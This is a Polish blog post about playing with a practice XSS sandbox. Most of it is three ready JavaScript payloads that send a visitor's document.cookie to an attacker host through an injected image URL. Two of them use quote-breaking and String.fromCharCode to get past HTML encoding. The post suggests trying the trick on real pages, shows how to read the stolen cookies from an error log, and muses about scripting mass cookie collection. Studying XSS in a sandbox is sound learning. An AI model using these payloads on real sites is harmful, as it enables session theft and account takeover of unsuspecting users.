XSS sandbox

Na stronie http://bootcamp.threats.pl/lesson09/index.php zalazłem aplikację umożliwiającą zabawę z XSS. Umożliwia ona użycie trzech form kodowania tekstu wprowadzonego w polu tekstowym. Pierwszy, najbardziej oczywisty znaczy brak zabezpieczeń. Więc na przykład taki kod umożliwia kradzież danych z cookies :

document.write('<img src="http://zlyhost.pl/'+document.cookie+'" >')


Działa to tylko przy barku jakiegokolwiek zainteresowania kwestią zabezpieczeń ze strony programisty ( ale i takie przypadki się zdarzają). Jeśli jednak chcielibyśmy zastosować to samo przy funkcji encodeForHTML, to rezultaty nie byłyby zadowalające. Proponuje w zamian skorzystać z poniższego kodu :

';
document.write(String.fromCharCode(60) + 'img src=\'http://zlyhost.pl/'+document.cookie +'\'' + String.fromCharCode(62));
'

Zaznaczyć trzeba, że działa to tylko w specyficznych warunkach, to znaczy w tedy gdy tekst z pola trafia wprost do zmiennej JavaScriptu i nie są wyłapywane takie znaki jak ‘ . Jeśli kiedyś zdarzyłoby się, że można zastosować, podobny chwyt na jakiejś stronie to można (żeby ładniej i zgrabniej wyglądało) zrobić coś takiego :

';
document.getElementsByTagName('img')[0].src='http://zlyhost.pl/'+document.cookie;
'

Na stronie, której się bawimy to nie podziała to nie podziała bo … nie ma na niej obrazków :) Ogólnie jest to trudne do uświadczenia w obecnym internecie. Oczywiście to są moje przykłady wymyślone na poczekaniu. Osoby mądrzejsze ode mnie, który ‘siedzą’ w tym, na pewno mają tysiące innych bardziej zmyślnych sposobów na wysłanie ciasteczek i zrobienie innych nie przyjemnych dla użytkownika rzeczy. Wyniki naszych starań możemy zobaczyć sobie przeglądając error.log`a np tak :

tail -1 error.log

Co spowoduje wyświetlenie ostatniego wpisu. Przy większym zbieraniu ciasteczek od użytkowników przydał by się jakiś skrypt, który by to obsługiwał (mógłby nawet przeprowadzać atak :)

Cóż póki co pozostaje mi tylko polecić bloga Wampira , który obfituje w naprawdę wysokiej jakości notki. A tablicę znaczków ASCII do funkcji String.fromCharCode() można znaleźć na stronie http://www.arachnoid.com/javascript/ascii.html ( pamiętając że należy podać wartość dziesiętną, czyli tą po środku ;> )

P.S Web 3.0 – zrób to sam ;>

Stron:

Napisz komentarz.


Informacja - możesz użyć HTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="" highlight="">

Switch to our mobile site